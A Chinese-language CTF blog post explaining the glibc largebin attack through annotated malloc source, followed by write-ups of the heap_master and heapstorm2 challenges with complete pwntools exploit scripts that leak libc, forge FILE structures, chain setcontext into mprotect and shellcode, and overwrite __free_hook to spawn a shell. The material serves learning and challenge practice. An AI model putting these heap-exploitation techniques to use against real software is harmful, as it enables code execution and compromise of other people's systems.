house_of_storm

最近做题就是套娃，做到一道题发现这个知识点不会，就去学这个知识点，结果学新知识点又又不会，又去学另一个知识点。结果学到最后，我前面的好多题都还没做。还是太菜了，一做题就会碰到不会的知识点。

Largebin attack

Largebin的组织方式相比于 smallbin，多了一个 fd_nextsize 和 bk_nextsize，用来将chunk根据 size链接起来。其原型图如下，参考自这篇文章：

总结起来就是：

• 按照大小从大到小排序
• 若大小相同,按照free时间排序
• 若干个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0
• size最大的chunk的bk_nextsize指向最小的chunk; size最小的chunk的fd_nextsize指向最大的chunk

首先看一下将unsortedbin插入到 largebin中的源码：

for (;; )  
   {  
     int iters = 0;  
     while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) //遍历unsorted bin  
       {  
         bck = victim->bk;  
         if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)  
             || __builtin_expect (victim->size > av->system_mem, 0))  
           malloc_printerr (check_action, "malloc(): memory corruption",  
                            chunk2mem (victim), av);  
         size = chunksize (victim); //获得当前unsorted bin chunk的大小  
  
         ..........................  
  
         if (in_smallbin_range (size))  
           {  
             victim_index = smallbin_index (size);  
             bck = bin_at (av, victim_index);  
             fwd = bck->fd;  
           }  
         else //属于large bin范围  
           {  
             victim_index = largebin_index (size); //根据size，得到对应的large bin索引  
             bck = bin_at (av, victim_index); //获取对应索引的large bin里的最后一个chunk  
             fwd = bck->fd; //获得对应索引的large bin的第一个chunk  
  
             /* maintain large bins in sorted order */  
             if (fwd != bck) //这意味着当前索引的large bin里chunk不为空  
               {  
                 /* Or with inuse bit to speed comparisons */  
                 size |= PREV_INUSE;  
                 /* if smaller than smallest, bypass loop below */  
                 assert ((bck->bk->size & NON_MAIN_ARENA) == 0);  
                 if ((unsigned long) (size) < (unsigned long) (bck->bk->size))  
                   {  
                     fwd = bck;  
                     bck = bck->bk;  
  
                     victim->fd_nextsize = fwd->fd;  
                     victim->bk_nextsize = fwd->fd->bk_nextsize;  
                     fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;  
                   }  
                 else  
                   {  
                     assert ((fwd->size & NON_MAIN_ARENA) == 0);  
                     while ((unsigned long) size < fwd->size)  
                       {  
                         fwd = fwd->fd_nextsize;  
                         assert ((fwd->size & NON_MAIN_ARENA) == 0);  
                       }  
  
                     if ((unsigned long) size == (unsigned long) fwd->size)  
                       /* Always insert in the second position.  */  
                       fwd = fwd->fd;  
                     else  
                       {  
                         victim->fd_nextsize = fwd;  
                         victim->bk_nextsize = fwd->bk_nextsize;  //fwd->bk_nextsize可控，因此victim->bk_nextsize可控  
                         fwd->bk_nextsize = victim;  
                         victim->bk_nextsize->fd_nextsize = victim; //第一次任意地址写入unsorted bin chunk的地址  
                       }  
                     bck = fwd->bk; //bk也就是large bin的bk位置的数据，因此bck可控  
                   }  
               }  
             else  
               victim->fd_nextsize = victim->bk_nextsize = victim;  
           }  
  
         mark_bin (av, victim_index);  
         victim->bk = bck;  
         victim->fd = fwd;  
         fwd->bk = victim;  
         bck->fd = victim; //第二次任意地址写入unsorted bin chunk的地址  
  
define MAX_ITERS       10000  
         if (++iters >= MAX_ITERS)  
           break;  
       }

我们主要关心的是 第一个 else部分，其中 victim表示需要插入largbin中的unsorted chunk，fwd表示已经在 Large bin中的chunk。利用的源码也在代码中标识出来。

1. victim（也即unsorted chunk）的size必须大于 largebin chunk，这样才能够绕过else之前的检测；

2. 控制fwd->bk_nextsize为target_addr1，那么执行victim->bk_nextsize = fwd->bk_nextsize时，就能控制victim->bk_nextsize为 traget_addr1;

3. 接着就能控制 victim->bk_nextsize->fd_nextsize = victim，也就相当于 target_addr1->fd_nextsize = victim，我们在 *(taget_addr1+0x20)=victim 写入了 unsorted chunk的地址；

4. 然后，我们修改fwd->bk为target_addr2，就能控制 bck；

5. 最后，通过 bck->fd=victim，就能在 *(target_addr2+0x10)=victim，又写入了 unsortedbin chunk的地址

总结就是，如果能够控制已经在largebin中的chunk的bk、bk_nextsize字段，那么就能实现往任意地址写入待插入largebin的chunk的地址。一般待插入的chunk地址为堆地址，所以通过largebin attack可以实现往任意地址写入堆地址的目的

startctf 2019 heap_master

程序分析

程序漏洞在Edit函数，可以实现Mem内任意地址修改。然后Delete函数也是可以释放Mem内满足堆块释放要要求的地址。

利用分析

1. largebin attack泄露libc

首先创造 0x330、0x410和0x410 的堆块，每个堆块之前都要构造一个 fastbin，防止堆块合并。然后依次将 chunk1 和 chunk2 释放到 unsortedbin 中：

然后，分配一个小块，此时 0x410的chunk2会进入 largebin中，chunk1剩余的部分仍会留在 unsortedbin中。

接着我们在chunk2中，构造两个大小大于0xb0的chunk，然后再次释放这两个堆块，他们会被放入 unsortedbin中，这样他的 fd和 bk以及 fd_nextsize和 bk_nextsize就有了main_arena附近的地址。我们后续只需要修改这个main_arena的地址就有一定几率改为 stdout的地址：

#change chunk2 bk and bk_nextsize into target_addr
payload = p64(0x3f1) + p64(0) + p16(stdout-0x10)
Edit(chunk2_addr+0x8, payload)
payload = p64(0) + p16(stdout+0x19-0x20)
Edit(chunk2_addr+0x8+0x18, payload)

然后再修改 largebin的大小为正常的 Largebin大小，修改其 bk为 stdout-0x10，修改其 bk_nextsize为 stdout+0x19-0x20，此时就可以发动 largebin attack，修改 stdout为一个 unsortedbin chunk地址，修改 stdout+0x19的地址为 unsortedbin的地址。这样就符合了 overflow的要求，能够泄露 Libc 地址。

//flag的要求
f->flag & 0xa00 and f->flag & 0x1000 == 1 //通过写入堆的地址来构造
//write_base的偏移是0x20
f->write_base != f->write_ptr //通过覆盖write_base的低字节为'\x00'来实现

这里，就是为什么一开始要将 offset设为 0x8060，因为这里要保证覆盖到 stdout的 flag的 倒数第3位满足 0x800，当然还需要倒数 第4位为 0x1000，也就是总体满足 0x1800，但是倒数第4位也是需要一定几率 去爆破才行。

2. largebin attack伪造 IO_list_all

泄露了地址，那么采用 FSOP来 getshell。通过再一次的 largebin attack来伪造 IO_list_all。此时 IO_list_all就已经指向了一个堆地址。

这道题比我想象的更复杂，原题里他是禁止执行 system的，只有通过 orw来得到flag。

不够我还是先尝试了直接使用 FSOP 来 getshell。

然后又尝试通过 FSOP执行堆栈的 orw rop。

通过 setcontext来执行 mprotect，最终执行shellcode获取 flag。

EXP

from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./heap_master')
    elf = ELF('./heap_master')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

stdout = 0x2620

def Add(size):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('size: ', str(size))

def Edit(offset, content):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('offset: ', str(offset))
    p.sendlineafter('size: ', str(len(content)))
    p.sendafter('content: ', content)

def Delete(offset):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('offset: ', str(offset))

def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              _wide_data = 0,
              _mode = 0):
    file_struct = p32(_flags) + \
            p32(0) + \
            p64(_IO_read_ptr) + \
            p64(_IO_read_end) + \
            p64(_IO_read_base) + \
            p64(_IO_write_base) + \
            p64(_IO_write_ptr) + \
            p64(_IO_write_end) + \
            p64(_IO_buf_base) + \
            p64(_IO_buf_end) + \
            p64(_IO_save_base) + \
            p64(_IO_backup_base) + \
            p64(_IO_save_end) + \
            p64(_IO_marker) + \
            p64(_IO_chain) + \
            p32(_fileno)
    file_struct = file_struct.ljust(0x88, "\x00")
    file_struct += p64(_lock)
    file_struct = file_struct.ljust(0xa0, "\x00")
    file_struct += p64(_wide_data)
    file_struct = file_struct.ljust(0xc0, '\x00')
    file_struct += p64(_mode)
    file_struct = file_struct.ljust(0xd8, "\x00")
    return file_struct

def payload_IO_file_finish(libc,_IO_str_jumps_addr, system_addr, binsh_addr):
    payload = pack_file(_flags = 0,
                    _IO_read_ptr = 0x61,
                    _IO_read_base = libc.sym['_IO_list_all']-0x10,
                    _IO_write_base = 0,
                    _IO_write_ptr = 1,
                    _IO_buf_base = binsh_addr,
                    _mode = 0x7fffffff,
                    _wide_data = 0x1eb880+libc,
                    )
    payload += p64(_IO_str_jumps_addr-8)
    payload += p64(0)
    payload += p64(system_addr)
    return payload

while True:
    try:
        offset = 0x8060

        #make 3 chunk3
        #chunk1
        chunk1_addr = offset
        chunk2_addr = offset+0x330+0x30
        chunk3_addr = offset+0x360+0x440
        Edit(chunk1_addr+0x8, p64(0x331))
        Edit(chunk1_addr+0x8+0x330, p64(0x31))
        #chunk2
        Edit(chunk2_addr+0x8, p64(0x411))
        Edit(chunk2_addr+0x410+0x8, p64(0x31))
        #chunk3
        Edit(chunk3_addr+0x8, p64(0x411))
        Edit(chunk3_addr+0x410+0x8, p64(0x31))
        Edit(chunk3_addr+0x440+0x8, p64(0x31))
        #gdb.attach(p, 'bp $rebase(0xf66)')

        #free chunk1 and chunk2 into unsortedbin
        Delete(chunk1_addr+0x10)
        Delete(chunk2_addr+0x10)

        #make chunk2 into largebin
        Add(0x90)

        #make chunk2 into unsortedbin
        Edit(chunk2_addr+0x8, p64(0x101)*3)
        Edit(chunk2_addr+0x100+0x8, p64(0x101)*3)
        Edit(chunk2_addr+0x200+0x8, p64(0x101)*3)
        #make chunk2->bk_nextsize into unsortedbin
        Delete(chunk2_addr+0x20)
        Add(0x90)
        #make chunk2->bk into unsortedbin
        Delete(chunk2_addr+0x10)
        Add(0x90)

        #change chunk2 bk and bk_nextsize into target_addr
        payload = p64(0x3f1) + p64(0) + p16(stdout-0x10)
        Edit(chunk2_addr+0x8, payload)
        payload = p64(0) + p16(stdout+0x19-0x20)
        Edit(chunk2_addr+0x8+0x18, payload)

        #trigger largebin attack
        Delete(chunk3_addr+0x10)
        Add(0x90)

        p.recv(0x18)
        libc_addr = u64(p.recv(8)) - 0x3c36e0
        heap_addr = u64(p.recv(8)) - 0x8800
        print 'libc_addr:',hex(libc_addr)
        print 'heap_base:',hex(heap_addr)
        if '\x7f' not in p64(libc_addr):
            raise EOFError
        break
    except:
        p.close()
        p = process('./heap_master')
#gdb.attach(p, 'bp $rebase(0xf66)')
libc.address = libc_addr
system_addr = libc.sym['system']
print 'system_addr:',hex(system_addr)
dl_hook = libc.sym['_dl_open_hook']
print 'dl_hook:',hex(dl_hook)
list_all = libc_addr + 0x3c5520
print 'list_all:',hex(list_all)
bin_sh_addr = next(libc.search('/bin/sh\x00'))
print 'bin_sh_addr:',hex(bin_sh_addr)
io_str_jumps = libc_addr + 0x3c37a0
print 'io_str_jumps', hex(io_str_jumps)

offset = 0x100
# chunk1
chunk1_addr = offset
chunk2_addr = offset + 0x330 + 0x30
chunk3_addr = offset + 0x360 + 0x540
Edit(chunk1_addr + 0x8, p64(0x331))
Edit(chunk1_addr + 0x8 + 0x330, p64(0x31))
# chunk2
Edit(chunk2_addr + 0x8, p64(0x511))
Edit(chunk2_addr + 0x510 + 0x8, p64(0x31))
# chunk3
Edit(chunk3_addr + 0x8, p64(0x511))
Edit(chunk3_addr + 0x510 + 0x8, p64(0x31))
Edit(chunk3_addr + 0x540 + 0x8, p64(0x31))

# free chunk1 and chunk2 into unsortedbin
Delete(chunk1_addr + 0x10)
Delete(chunk2_addr + 0x10)

# make chunk2 into largebin
Add(0x90)

# make chunk2 into unsortedbin
Edit(chunk2_addr + 0x8, p64(0x101) * 3)
Edit(chunk2_addr + 0x100 + 0x8, p64(0x101) * 3)
Edit(chunk2_addr + 0x200 + 0x8, p64(0x101) * 3)
# make chunk2->bk_nextsize into unsortedbin
Delete(chunk2_addr + 0x20)
Add(0x90)
# make chunk2->bk into unsortedbin
Delete(chunk2_addr + 0x10)
Add(0x90)

# change chunk2 bk and bk_nextsize into target_addr
payload = p64(0x4f1)
Edit(chunk2_addr + 0x8, payload)
payload = p64(0) + p64(list_all - 0x20)
Edit(chunk2_addr + 0x8 + 0x18, payload)
gdb.attach(p, 'bp $rebase(0xf66)')
# trigger largebin attack
Delete(chunk3_addr + 0x10)
Add(0x90)
IO_list2heap = heap_addr + 0x9a0

#print '==============>getshell:'
# fake_file = pack_file(
#     _IO_read_ptr=0x61,
#     _IO_read_base=list_all - 0x10,
#     _IO_buf_base=bin_sh_addr,
#     _IO_write_ptr=1)
# fake_file += p64(io_str_jumps - 8)
#
# file_data = str(fake_file) + p64(system_addr) * 2
#
# Edit(0x9a0, file_data)

print '===============> orw:'
pp_jrdx = libc_addr + 0x12d811
pop_rsp = libc_addr + 0x3838
pop_rdi = libc_addr + 0x21112
syscall = libc_addr + 0xbc3f5
pop_rsi = libc_addr + 0x202f8
pop_rax = libc_addr + 0x3a738
pop_rdx = libc_addr + 0x1b92
setcontext = libc.sym['setcontext']

flag_addr = heap_addr + 0x1000
flag_str_addr = heap_addr +0x2000
Edit(0x2000, './flag')

shellcode = asm(shellcraft.open("flag", 0, 0))
shellcode += asm('''
    mov rbp, rax
    mov rdi, rbp
    mov rsi, qword ptr {0}
    mov rdx, 0x30
    mov rax, 0x0
    syscall
    mov rdi, 1
    mov rsi, qword ptr {0}
    mov rdx, 0x30
    mov rax, 1
    syscall 
'''.format(hex(flag_addr)))

frame = SigreturnFrame()
frame.rdi = heap_addr
frame.rsi = 0x1000  #
frame.rdx = 0x7
frame.rsp = heap_addr+0x500
frame.rip = libc.sym['mprotect']
payload = str(frame)

Edit(0x500, p64(heap_addr+0x508)+str(shellcode))
Edit(0, str(frame))

push_rdi_ret = libc_addr + 0xd21b2
jmp_rdi = libc_addr + 0x6cab4
fake_file = pack_file(
    _IO_read_ptr=0x61,
    _IO_read_base=list_all - 0x10,
    _IO_buf_base=heap_addr,
    _IO_write_ptr=1)
fake_file += p64(io_str_jumps - 8)

file_data = str(fake_file) + p64(setcontext+53) * 2
Edit(0x9a0, file_data)

#gdb.attach(p, 'bp $rebase(0xf66)')
Edit(0x1508, p64(0x91))
Delete(0x1508)

p.interactive()

0ctf_2018_heapstorm2

程序分析

在 Edit函数中存在一个 off-by-null漏洞，此外Add函数中使用了 calloc函数，申请时 堆块会被清空。此外，Show函数中需要mem_ptr[2]和 mem_ptr[3]满足条件才能使用。最后，一开始程序就将 fastbin关闭了，导致fastbin attack失效。

利用分析

虽然存在一个 off-by-null，但是fastbin attack已经不能够使用。也就意味着我们不能通过fastbin堆块伪造来达到泄露地址或任意内存写了。

这道题的思路也是利用largebin attack，上面一题我们已经能够知道 largebin attack可以向任意两个地址写入 unsortedbin的地址。这题的思路，则是加强版，利用largebin attack和 unsortedbin来 实现任意地址分配堆块。

1. 构造两个堆重叠

首先为了能够修改 largebin和 unsortedbin两个堆块，我们就需要构造两个堆重叠。构造方式也是利用 off-by-null的思路：

先申请6个如下堆块：

Add(0x18)   #0
Add(0x508)   #1
Add(0x18)   #2
Add(0x18)   #3
Add(0x508)   #4
Add(0x18)   #5
Add(0x18)   #6

然后，先修改 chunk1的 chunk2-0x10处为 0x500，是为了错位，原因接下来讲；然后释放 Chunk1,此时 chunk2的 Prev_size留下了 0x510的大小，prev_inuse为0；

接着，对 chunk0使用 off-by-null漏洞修改 chunk1的size为 0x500， 再分别申请 0x18和 0x4d8的chunk1和 chunk7， 此时 我们之前伪造的 0x500处的 prev_inuse为1。但是 chunki2处 的 prev_inuse仍然为 0；

所以依次释放 chunk1 和 chunk2，此时会发生堆块合并，chunk1和chunk2合并为 0x530；

最后再依次申请 0x38和 0x4e8的 chunk1和 chunk2，那么此时 chunk7就可以修改 chunk2的内容。

然后 使用同样的方法构造 0x4d8的 chunk8能够覆盖 0x4d8的 Chunk5。

2. lagrebin attack

有了两次堆重叠后，依次释放 chunk5 和 chunk2，再申请 chunk2，那么 Chunk5进入 largebin，最后再释放 chunk2，那么 chunk2进入 unsortedbin。

我们想要在 mem_ptr-0x20处伪造堆块，实现对 mem的修改，将 mem_ptr-0x20命名为 target_addr

我们利用两次堆重叠修改 Unsortedbin和 largebin：

修改 unsortedbin的 bk为 target_addr；

修改 largebin的 bk 为 target_addr+8 ，修改 bk_nextsize为 target_addr-0x20+8-5

最后，我们申请 0x48的堆块，触发 Largebin attack

原因：

这样修改的原因，有两点：

• 申请 0x48堆块时，先在 unsortedbin中查找，此时查找到 chunk2其大小不满足，会先把 chunk2放入 largebin中；
• 触发了largebin，那么结果为：

victim->bk_nextsize = fwd->bk_nextsize = target_addr-0x20+8-5 = target_addr - 0x1d
victim->bk_nextsize->fd_nextsize = victim = target_addr -0x1d+0x10 = targte_addr-0xd = unsortedbin

可以看到，我们在 target_addr-0xd处写下了 unsortedbin的地址，根据错位，此时 target_addr+0x8处刚好有可能为 0x56，满足一个chunk的size：

• 接着，由于我们之前修改了 unsortedbin的bk指向了 target_addr，系统会查找 target_addr是否合适；此时target_addr的大小 刚好合适，所以就会分配 target_addr的堆块。我们成功实现了任意地址堆块分配。

3. 泄露地址

此时，我们可以修改 mem_ptr的数据，我们修改 mem_ptr[0]为0，修改 mem_ptr[2]和 mem_ptr[3]满足 Show函数要求，在 mem_ptr[4]和 Mem_ptr[5]分别写上 mem_Ptr和 0x1000。

随后使用 Show泄露地址，使用 free_hook来 getshell。

EXP

from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./heapstorm2')
    elf = ELF('./heapstorm2')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    p = remote('')

def Add(size):
    p.sendlineafter('Command: ','1')
    p.sendlineafter('Size: ', str(size))

def Edit(idx, size, content):
    p.sendlineafter('Command: ', '2')
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Size: ', str(size))
    p.sendlineafter('Content: ', str(content))

def Delete(idx):
    p.sendlineafter('Command: ', '3')
    p.sendlineafter('Index: ', str(idx))

def Show(idx):
    p.sendlineafter('Command: ', '4')
    p.sendlineafter('Index: ', str(idx))

def Pwn():
    Add(0x18)   #0
    Add(0x508)   #1
    Add(0x18)   #2
    Add(0x18)   #3
    Add(0x508)   #4
    Add(0x18)   #5
    Add(0x18)   #6

    payload = 'a'*0x4f0 + p64(0x500)
    Edit(1, len(payload), payload)
    Delete(1)
    #off-by-null
    payload = 'c'*0xc
    Edit(0, len(payload), payload)
    Add(0x18)   #1
    Add(0x4d8) #7
    #chunk consolidate
    Delete(1)
    Delete(2)
    #chunk overlap
    Add(0x38)   #1
    Add(0x4e8)  #2

    payload = 'a'*0x4f0 + p64(0x500)
    Edit(4, len(payload), payload)
    Delete(4)
    #off-by-null
    payload = 'c'*0xc
    Edit(3, len(payload), payload)
    Add(0x18)   #4
    Add(0x4d8)  #8
    #chunk consolidate
    Delete(4)
    Delete(5)
    #chunk overlap
    Add(0x48)   #4
    gdb.attach(p, 'bp $rebase(0x12fd)')
    #largebin attack to mem_ptr
    Delete(2)
    Add(0x4e8)  #2
    Delete(2)

    targte_addr = 0x133707e0
    #change unsortedbin
    payload = 'a'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(targte_addr)
    Edit(7, len(payload), payload)
    #change largebin
    payload  = 'a'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(targte_addr+0x8) + p64(0) + p64(targte_addr-0x20+0x8-5)
    Edit(8, len(payload), payload)

    mem_ptr = 0x13370800
    Add(0x48)   #2
    payload = p64(0)*4 + p64(0x13377331) + p64(0) + p64(mem_ptr)
    Edit(2, len(payload), payload)

    payload = p64(0)*2 + p64(0x13377331) + p64(0) + p64(mem_ptr) + p64(0x1000) + p64(targte_addr+3)  + p64(8)
    Edit(0, len(payload), payload)
    Show(1)
    p.recvuntil('Chunk[1]: ')
    heap_addr = u64(p.recvuntil('\x56')[-6:].ljust(8, '\x00'))
    print 'heap_addr:',hex(heap_addr)

    payload = p64(0)*2 + p64(0x13377331) + p64(0) + p64(mem_ptr) + p64(0x1000) + p64(heap_addr+0x10)  + p64(8)
    Edit(0, len(payload), payload)
    Show(1)
    libc_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    print 'libc_addr:',hex(libc_addr)
    libc.address = libc_addr - 0x3c4b78
    print 'libc_address:',hex(libc.address)

    free_hook = libc.sym['__free_hook']
    system_addr = libc.sym['system']
    print 'free_hook:',hex(free_hook)

    payload = p64(0)*2 + p64(0x13377331) + p64(0) + p64(mem_ptr) + p64(0x1000) + p64(free_hook) + p64(8) + p64(heap_addr-0x30) + p64(8)
    Edit(0, len(payload), payload)

    payload = p64(system_addr)
    Edit(1, len(payload), payload)
    payload = '/bin/sh\x00'
    Edit(2, len(payload), payload)

    Delete(2)

    p.interactive()

Pwn()

参考

浅析largebin attack

large bin attack & house of strom

Largebin 学习

赏

只要你支持她，我们就是好朋友2333

支付宝

微信

• 本文作者： A1ex
• 本文链接： http://yoursite.com/2020/10/07/house-of-storm/
• 版权声明： 本博客所有文章除特别声明外，均采用 MIT 许可协议。转载请注明出处！